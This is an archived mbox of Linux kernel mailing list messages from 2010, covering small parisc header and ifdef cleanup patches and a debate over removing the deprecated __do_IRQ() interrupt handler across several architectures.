> Thanks Thomas for the reminder, I'll poke at fixing parisc this week,
> and maybe try to fix ia64 and alpha too as penance for forgetting about
> this for so long.

I'll be happy to see ia64 converted ... I did look at it once a long
time ago, but couldn't work out what I had to do to replace do_IRQ.
If Kyle figures out the patch, I'll test.  If not, then some pointers
would be helpful.

-Tony
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nikitas Angelinas <nikitasangelinas@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 2/8] arch/parisc/include/asm: use ARRAY_SIZE macro in mmzone.h
Date: Wed,  8 Sep 2010 22:11:13 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <1283980273-4880-1-git-send-email-nikitasangelinas@gmail.com>
References: <1283979457-4649-1-git-send-email-nikitasangelinas@gmail.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1283980278 31142 80.91.229.12 (8 Sep 2010 21:11:18 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 8 Sep 2010 21:11:18 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	Nikitas Angelinas <nikitasangelinas@gmail.com>
To: kyle@mcmartin.ca, deller@gmx.de, jejb@parisc-linux.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 08 23:11:16 2010
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1OtRvD-00044r-7q
	for glk-linux-kernel-3@lo.gmane.org; Wed, 08 Sep 2010 23:11:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755436Ab0IHVK5 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 8 Sep 2010 17:10:57 -0400
Original-Received: from mail-bw0-f46.google.com ([209.85.214.46]:39608 "EHLO
	mail-bw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755374Ab0IHVKs (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 8 Sep 2010 17:10:48 -0400
Original-Received: by bwz11 with SMTP id 11so522503bwz.19
        for <multiple recipients>; Wed, 08 Sep 2010 14:10:47 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:from:to:cc:subject:date
         :message-id:x-mailer:in-reply-to:references;
        bh=dipO7igCSO4eaoKMz0O32RtP6vMeRi1rj+DbjYMgPug=;
        b=fKqRtsvybR309XD81vHxMIqpr9r9ZmmNNUmw5dK+mJ7vxNjA1lIq8p8Wxo9Z670GaZ
         Jm/JVsjk4wdaoBoaGVEQR4ZDU+S6stzn86YjCfIX6RPtiGvpIPL9stM4NiFdr7x8kgmB
         gJ/Yi2n6achKudof3GMeM9m2f7P7y3IFj+YhQ=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=from:to:cc:subject:date:message-id:x-mailer:in-reply-to:references;
        b=a/k0afFndWyG+R9V7WW49w7EGMBNwFTa6Le77MwSvlaFRM/LKae6MnuYivCue+wugC
         tOZNFE2tQwFbqXo5lzhqjn810ae9u6kq+ve37OJ+XgaEla0GUjBz9GHP0bFybnvFL4Ch
         RL64anIMIC0u08bF4vAewVmlCOEGwJIU2twt0=
Original-Received: by 10.204.60.145 with SMTP id p17mr2070392bkh.56.1283980246876;
        Wed, 08 Sep 2010 14:10:46 -0700 (PDT)
Original-Received: from localhost.localdomain (93-97-190-57.zone5.bethere.co.uk [93.97.190.57])
        by mx.google.com with ESMTPS id 11sm433057bkj.11.2010.09.08.14.10.45
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Wed, 08 Sep 2010 14:10:46 -0700 (PDT)
X-Mailer: git-send-email 1.7.2.3
In-Reply-To: <1283979457-4649-1-git-send-email-nikitasangelinas@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1033570 gmane.linux.ports.parisc:3078
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3078>

Replace sizeof(pfnnid_map) / sizeof(pfnnid_map[0]) with
ARRAY_SIZE(pfnnid_map) in mmzone.h

Signed-off-by: Nikitas Angelinas <nikitasangelinas@gmail.com>
---
 arch/parisc/include/asm/mmzone.h |    4 +++-
 1 files changed, 3 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/include/asm/mmzone.h b/arch/parisc/include/asm/mmzone.h
index 9608d2c..85b23b6 100644
--- a/arch/parisc/include/asm/mmzone.h
+++ b/arch/parisc/include/asm/mmzone.h
@@ -3,6 +3,8 @@
 
 #ifdef CONFIG_DISCONTIGMEM
 
+#include <linux/kernel.h>
+
 #define MAX_PHYSMEM_RANGES 8 /* Fix the size for now (current known max is 3) */
 extern int npmem_ranges;
 
@@ -51,7 +53,7 @@ static inline int pfn_to_nid(unsigned long pfn)
 		return 0;
 
 	i = pfn >> PFNNID_SHIFT;
-	BUG_ON(i >= sizeof(pfnnid_map) / sizeof(pfnnid_map[0]));
+	BUG_ON(i >= ARRAY_SIZE(pfnnid_map));
 	r = pfnnid_map[i];
 	BUG_ON(r == 0xff);
 
-- 
1.7.2.3


From - Thu Nov 08 21:06:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 2/8] arch/parisc/include/asm: use ARRAY_SIZE macro in
 mmzone.h
Date: Wed, 8 Sep 2010 17:17:43 -0400
Lines: 46
Approved: news@gmane.org
Message-ID: <20100908211743.GF24791@bombadil.infradead.org>
References: <1283979457-4649-1-git-send-email-nikitasangelinas@gmail.com>
 <1283980273-4880-1-git-send-email-nikitasangelinas@gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1283980681 433 80.91.229.12 (8 Sep 2010 21:18:01 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 8 Sep 2010 21:18:01 +0000 (UTC)
Cc: kyle@mcmartin.ca, deller@gmx.de, jejb@parisc-linux.org,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Nikitas Angelinas <nikitasangelinas@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 08 23:17:58 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OtS1m-0008F3-5F
	for glpp-linux-parisc@lo.gmane.org; Wed, 08 Sep 2010 23:17:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755513Ab0IHVRr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 8 Sep 2010 17:17:47 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:37317 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755488Ab0IHVRr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 8 Sep 2010 17:17:47 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1OtS1X-0003jb-D8; Wed, 08 Sep 2010 21:17:43 +0000
Content-Disposition: inline
In-Reply-To: <1283980273-4880-1-git-send-email-nikitasangelinas@gmail.com>
User-Agent: Mutt/1.5.20 (2009-08-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3079 gmane.linux.kernel:1033573
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3079>

On Wed, Sep 08, 2010 at 10:11:13PM +0100, Nikitas Angelinas wrote:
> Replace sizeof(pfnnid_map) / sizeof(pfnnid_map[0]) with
> ARRAY_SIZE(pfnnid_map) in mmzone.h
> 

Thanks. Let me think about this, I don't really like the tangled web of
include dependencies this results in...

regards, Kyle

> Signed-off-by: Nikitas Angelinas <nikitasangelinas@gmail.com>
> ---
>  arch/parisc/include/asm/mmzone.h |    4 +++-
>  1 files changed, 3 insertions(+), 1 deletions(-)
> 
> diff --git a/arch/parisc/include/asm/mmzone.h b/arch/parisc/include/asm/mmzone.h
> index 9608d2c..85b23b6 100644
> --- a/arch/parisc/include/asm/mmzone.h
> +++ b/arch/parisc/include/asm/mmzone.h
> @@ -3,6 +3,8 @@
>  
>  #ifdef CONFIG_DISCONTIGMEM
>  
> +#include <linux/kernel.h>
> +
>  #define MAX_PHYSMEM_RANGES 8 /* Fix the size for now (current known max is 3) */
>  extern int npmem_ranges;
>  
> @@ -51,7 +53,7 @@ static inline int pfn_to_nid(unsigned long pfn)
>  		return 0;
>  
>  	i = pfn >> PFNNID_SHIFT;
> -	BUG_ON(i >= sizeof(pfnnid_map) / sizeof(pfnnid_map[0]));
> +	BUG_ON(i >= ARRAY_SIZE(pfnnid_map));
>  	r = pfnnid_map[i];
>  	BUG_ON(r == 0xff);
>  
> -- 
> 1.7.2.3
> 
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 03/14] arch/parisc: Removing undead ifdef CONFIG_PA20
Date: Wed, 8 Sep 2010 17:18:35 -0400
Lines: 42
Approved: news@gmane.org
Message-ID: <20100908211835.GG24791@bombadil.infradead.org>
References: <cover.1283782698.git.qy03fugy@stud.informatik.uni-erlangen.de>
 <27caeba6c5aeb0e5fffb339479ad1c87a1ec7ca3.1283782701.git.qy03fugy@stud.informatik.uni-erlangen.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1283980724 615 80.91.229.12 (8 Sep 2010 21:18:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 8 Sep 2010 21:18:44 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Akinobu Mita <akinobu.mita@gmail.com>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	vamos-dev@i4.informatik.uni-erlangen.de
To: Christian Dietrich <qy03fugy@stud.informatik.uni-erlangen.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 08 23:18:41 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OtS2T-0000Gt-I1
	for glpp-linux-parisc@lo.gmane.org; Wed, 08 Sep 2010 23:18:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755414Ab0IHVSk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 8 Sep 2010 17:18:40 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:37412 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755388Ab0IHVSk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 8 Sep 2010 17:18:40 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1OtS2N-0004sE-EI; Wed, 08 Sep 2010 21:18:35 +0000
Content-Disposition: inline
In-Reply-To: <27caeba6c5aeb0e5fffb339479ad1c87a1ec7ca3.1283782701.git.qy03fugy@stud.informatik.uni-erlangen.de>
User-Agent: Mutt/1.5.20 (2009-08-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3080 gmane.linux.kernel:1033574
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3080>

On Mon, Sep 06, 2010 at 04:36:06PM +0200, Christian Dietrich wrote:
> The CONFIG_PA20 ifdef isn't necessary at this point, because it is
> checked in an outer ifdef level already and has no effect here.
> 

Looks good, applied, thanks.
-- Kyle

> Signed-off-by: Christian Dietrich <qy03fugy@stud.informatik.uni-erlangen.de>
> ---
>  arch/parisc/kernel/unaligned.c |    3 ---
>  1 files changed, 0 insertions(+), 3 deletions(-)
> 
> diff --git a/arch/parisc/kernel/unaligned.c b/arch/parisc/kernel/unaligned.c
> index 92d977b..234e368 100644
> --- a/arch/parisc/kernel/unaligned.c
> +++ b/arch/parisc/kernel/unaligned.c
> @@ -619,15 +619,12 @@ void handle_unaligned(struct pt_regs *regs)
>  		flop=1;
>  		ret = emulate_std(regs, R2(regs->iir),1);
>  		break;
> -
> -#ifdef CONFIG_PA20
>  	case OPCODE_LDD_L:
>  		ret = emulate_ldd(regs, R2(regs->iir),0);
>  		break;
>  	case OPCODE_STD_L:
>  		ret = emulate_std(regs, R2(regs->iir),0);
>  		break;
> -#endif
>  	}
>  #endif
>  	switch (regs->iir & OPCODE3_MASK)
> -- 
> 1.7.0.4
> 
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.parisc
Subject: Re: [RFC trollpatch 1/1] genirq: Remove the fits all and nothing
 __do_IRQ() code
Date: Wed, 8 Sep 2010 23:35:05 +0200 (CEST)
Lines: 72
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.00.1009082333350.2477@localhost6.localdomain6>
References: <20100908152036.643594727@linutronix.de>  <1283971919.11763.35.camel@mulgrave.site>  <alpine.LFD.2.00.1009082056210.2477@localhost6.localdomain6> <1283978124.11763.80.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1283982032 6173 80.91.229.12 (8 Sep 2010 21:40:32 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 8 Sep 2010 21:40:32 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@elte.hu>,
	Peter Zijlstra <peterz@infradead.org>,
	Christoph Hellwig <hch@infradead.org>,
	linux-alpha@vger.kernel.org, linux-cris-kernel@axis.com,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Tony Luck <tony.luck@intel.com>, linux-ia64@vger.kernel.org,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Greg Ungerer <gerg@uclinux.org>, Jeff Dike <jdike@addtoit.com>,
	linux-parisc@vger.kernel.org, Chris Zankel <chris@zankel.net>,
	linux-arch@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-arch-owner@vger.kernel.org Wed Sep 08 23:40:27 2010
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1OtSNV-0002Mp-Oq
	for glka-linux-arch@lo.gmane.org; Wed, 08 Sep 2010 23:40:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755694Ab0IHVkY (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 8 Sep 2010 17:40:24 -0400
Original-Received: from www.tglx.de ([62.245.132.106]:60598 "EHLO www.tglx.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755548Ab0IHVkX (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Wed, 8 Sep 2010 17:40:23 -0400
Original-Received: from localhost (www.tglx.de [127.0.0.1])
	by www.tglx.de (8.13.8/8.13.8/TGLX-2007100201) with ESMTP id o88LZ5wU008278
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 8 Sep 2010 23:35:06 +0200
In-Reply-To: <1283978124.11763.80.camel@mulgrave.site>
User-Agent: Alpine 2.00 (LFD 1167 2008-08-23)
X-Virus-Scanned: clamav-milter 0.95.3 at www.tglx.de
X-Virus-Status: Clean
X-Spam-Status: No, score=-1.4 required=5.0 tests=ALL_TRUSTED autolearn=failed
	version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on www.tglx.de
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:7520 gmane.linux.kernel:1033592 gmane.linux.ports.alpha:1100 gmane.linux.ports.ia64:21406 gmane.linux.ports.parisc:3081
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3081>

On Wed, 8 Sep 2010, James Bottomley wrote:
> On Wed, 2010-09-08 at 21:34 +0200, Thomas Gleixner wrote:
> > On Wed, 8 Sep 2010, James Bottomley wrote:
> > > On Wed, 2010-09-08 at 18:14 +0000, Thomas Gleixner wrote:
> > > > plain text document attachment (genirq-troll-patch.patch)
> > > > __do_IRQ() has been deprecated after a two years migration phase in
> > > > commit 0e57aa1. Since then another 18 month have gone by.
> > > > 
> > > > So here's the status three and a half years after the flow based
> > > > infrastructure was merged:
> > > > 
> > > >  The following architectures are fully converted to the new flow
> > > >  handler code:
> > > > 
> > > >   arm, avr32, blackfin, frv, microblaze, mips, mn10300, powerpc, score, sh,
> > > >   sparc 64bit, tile, x86, xtensa
> > > > 
> > > >   (avr32 and xtensa should set CONFIG_GENERIC_HARDIRQS_NO__DO_IRQ
> > > >   though)
> > > > 
> > > >  The following architectures are not using the generic interrupt
> > > >  infrastructure at all and are therefor unaffected:
> > > > 
> > > >   s390, m68k, sparc 32bit
> > > > 
> > > >  The following architectures are still using __do_IRQ():
> > > > 
> > > >   alpha, cris, ia64, h8300, m32r, m68knommu, parisc, um
> > > > 
> > > > So now the question arises what to do with __do_IRQ().
> > > > 
> > > > Removing it would be the right thing, but that'll break 8 archs, so
> > > > it's probably not considered a good idea, though for most of them the
> > > > conversion should be reasonably trivial.
> > > > 
> > > > I'm happy to move that code into kernel/irq/cruft.c forever if there
> > > > is no way to get the remaining users converted in the forseeable
> > > > future. It looks like they can cope with the annoying build warning
> > > > nicely.
> > > 
> > > Well, if you're going to deprecate something that 8 architectures rely
> > > on, it would be nice to tell people ... or even just linux-arch ... most
> > 
> > It's been told people. The deprecation patch was on LKMl (I don't
> > remember whether I sent it to linux-arch),
> 
> You didn't ... I checked.
> 
> >  but there were a bunch of
> > related patches to clean out the old irq related cruft which were sent
> > to linux-arch and also hit the parisc tree. There is an entry in
> > feature-removal-schedule.txt for 18 month now.
> > 
> > > of us do read that.  I've actually never noticed the warning the commit
> > > activated in any of my parisc compiles for some reason.
> > 
> > CONFIG_ENABLE_WARN_DEPRECATED=y perhaps ?
> >
> > I'm really tired of your whining when you did not get a personalized
> > taylored to your needs info.
> 
> So you send out deliberate flame bait and then suffer humour failure at
> an ironic reply?

Darn, I missed the ironic tag.

I added you to the "beware-of-british-irony" filter of my .procmailrc
to avoid that in the future.

Thanks,

	tglx

From - Thu Nov 08 21:06:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikael Starvik <mikael.starvik@axis.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.cross-arch
Subject: RE: [RFC trollpatch 1/1] genirq: Remove the fits all and nothing
	__do_IRQ() code
Date: Thu, 9 Sep 2010 09:10:54 +0200
Lines: 287
Approved: news@gmane.org
Message-ID: <4BEA3FF3CAA35E408EA55C7BE2E61D05583CE93218@xmail3.se.axis.com>
References: <20100908152036.643594727@linutronix.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: dough.gmane.org 1284016856 15412 80.91.229.12 (9 Sep 2010 07:20:56 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 9 Sep 2010 07:20:56 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Ingo Molnar <mingo@elte.hu>,
	Peter Zijlstra <peterz@infradead.org>,
	Christoph Hellwig <hch@infradead.org>,
	"linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
	linux-cris-kernel <linux-cris-kernel@axis.com>,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Tony Luck <tony.luck@intel.com>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Hirokazu Takata <takata@linux-m32r.org>,
	Greg Ungerer <gerg@uclinux.org>, Jeff Dike <jdike@addtoit.com>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	Chris Zankel <chris@zankel.net>,
	"linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>
To: Thomas Gleixner <tglx@linutronix.de>,
	LKML <linux-kernel@vger.kernel.org>,
	Jesper Nilsson <jespern@axis.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 09 09:20:48 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OtbR6-0006IF-Vv
	for glpp-linux-parisc@lo.gmane.org; Thu, 09 Sep 2010 09:20:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752276Ab0IIHUn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 Sep 2010 03:20:43 -0400
Original-Received: from anubis.se.axis.com ([195.60.68.12]:52670 "EHLO
	anubis.se.axis.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750870Ab0IIHUm convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 Sep 2010 03:20:42 -0400
X-Greylist: delayed 580 seconds by postgrey-1.27 at vger.kernel.org; Thu, 09 Sep 2010 03:20:41 EDT
Original-Received: from localhost (localhost [127.0.0.1])
	by anubis.se.axis.com (Postfix) with ESMTP id 2800E19D16;
	Thu,  9 Sep 2010 09:11:01 +0200 (CEST)
X-Virus-Scanned: Debian amavisd-new at anubis.se.axis.com
Original-Received: from anubis.se.axis.com ([127.0.0.1])
	by localhost (anubis.se.axis.com [127.0.0.1]) (amavisd-new, port 10024)
	with LMTP id VI9Vfu97vurx; Thu,  9 Sep 2010 09:10:59 +0200 (CEST)
Original-Received: from miranda.se.axis.com (miranda.se.axis.com [10.0.2.171])
	by anubis.se.axis.com (Postfix) with ESMTPS id 3634519D07;
	Thu,  9 Sep 2010 09:10:57 +0200 (CEST)
Original-Received: from xmail3.se.axis.com (xmail3.se.axis.com [10.0.5.75])
	by miranda.se.axis.com (8.13.4/8.13.4/Debian-3sarge3) with ESMTP id o897Auuf006500;
	Thu, 9 Sep 2010 09:10:56 +0200
Original-Received: from xmail3.se.axis.com ([10.0.5.75]) by xmail3.se.axis.com
 ([10.0.5.75]) with mapi; Thu, 9 Sep 2010 09:10:56 +0200
Thread-Topic: [RFC trollpatch 1/1] genirq: Remove the fits all and nothing
	__do_IRQ() code
Thread-Index: ActPiqjpLxxaUdUqRvS0Fua8FEy+vAAY06sw
In-Reply-To: <20100908152036.643594727@linutronix.de>
Accept-Language: sv-SE
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
acceptlanguage: sv-SE
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3082 gmane.linux.kernel:1033682 gmane.linux.ports.alpha:1103 gmane.linux.ports.ia64:21408 gmane.linux.kernel.cross-arch:7521
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3082>

>From CRIS perspective it is perfectly ok to remove __do_IRQ. At the latest when we notice that our build breaks we will fix it and preferably before that.

/Mikael

-----Original Message-----
From: Thomas Gleixner [mailto:tglx@linutronix.de] 
Sent: den 8 september 2010 20:14
To: LKML
Cc: Linus Torvalds; Andrew Morton; Ingo Molnar; Peter Zijlstra; Christoph Hellwig; linux-alpha@vger.kernel.org; linux-cris-kernel; Haavard Skinnemoen; Tony Luck; linux-ia64@vger.kernel.org; Yoshinori Sato; Hirokazu Takata; Greg Ungerer; Jeff Dike; linux-parisc@vger.kernel.org; Chris Zankel; linux-arch@vger.kernel.org
Subject: [RFC trollpatch 1/1] genirq: Remove the fits all and nothing __do_IRQ() code

__do_IRQ() has been deprecated after a two years migration phase in
commit 0e57aa1. Since then another 18 month have gone by.

So here's the status three and a half years after the flow based
infrastructure was merged:

 The following architectures are fully converted to the new flow
 handler code:

  arm, avr32, blackfin, frv, microblaze, mips, mn10300, powerpc, score, sh,
  sparc 64bit, tile, x86, xtensa

  (avr32 and xtensa should set CONFIG_GENERIC_HARDIRQS_NO__DO_IRQ
  though)

 The following architectures are not using the generic interrupt
 infrastructure at all and are therefor unaffected:

  s390, m68k, sparc 32bit

 The following architectures are still using __do_IRQ():

  alpha, cris, ia64, h8300, m32r, m68knommu, parisc, um

So now the question arises what to do with __do_IRQ().

Removing it would be the right thing, but that'll break 8 archs, so
it's probably not considered a good idea, though for most of them the
conversion should be reasonably trivial.

I'm happy to move that code into kernel/irq/cruft.c forever if there
is no way to get the remaining users converted in the forseeable
future. It looks like they can cope with the annoying build warning
nicely.

Either that or moving everything what breaks into staging/arch/* and
hand it over to GregKH :)

Thoughts ?

Not-Signed-off-by-yet: Thomas Gleixner <tglx@linutronix.de>

---
 Documentation/DocBook/genericirq.tmpl      |   29 -------
 Documentation/feature-removal-schedule.txt |    8 --
 include/linux/irq.h                        |   20 -----
 kernel/irq/handle.c                        |  111 -----------------------------
 4 files changed, 2 insertions(+), 166 deletions(-)

Index: linux-2.6/Documentation/DocBook/genericirq.tmpl
===================================================================
--- linux-2.6.orig/Documentation/DocBook/genericirq.tmpl
+++ linux-2.6/Documentation/DocBook/genericirq.tmpl
@@ -147,13 +147,6 @@
 	use a generic irq-flow implementation for 'level type' interrupts
 	and add a (sub)architecture specific 'edge type' implementation.
 	</para>
-	<para>
-	To make the transition to the new model easier and prevent the
-	breakage of existing implementations, the __do_IRQ() super-handler
-	is still available. This leads to a kind of duality for the time
-	being. Over time the new model should be used in more and more
-	architectures, as it enables smaller and cleaner IRQ subsystems.
-	</para>
   </chapter>
   <chapter id="bugs">
     <title>Known Bugs And Assumptions</title>
@@ -402,28 +395,6 @@ desc->chip->end();
     </sect1>
   </chapter>
 
-  <chapter id="doirq">
-     <title>__do_IRQ entry point</title>
-     <para>
- 	The original implementation __do_IRQ() is an alternative entry
-	point for all types of interrupts.
-     </para>
-     <para>
-	This handler turned out to be not suitable for all
-	interrupt hardware and was therefore reimplemented with split
-	functionality for egde/level/simple/percpu interrupts. This is not
-	only a functional optimization. It also shortens code paths for
-	interrupts.
-      </para>
-      <para>
-	To make use of the split implementation, replace the call to
-	__do_IRQ by a call to desc->handle_irq() and associate
-        the appropriate handler function to desc->handle_irq().
-	In most cases the generic handler implementations should
-	be sufficient.
-     </para>
-  </chapter>
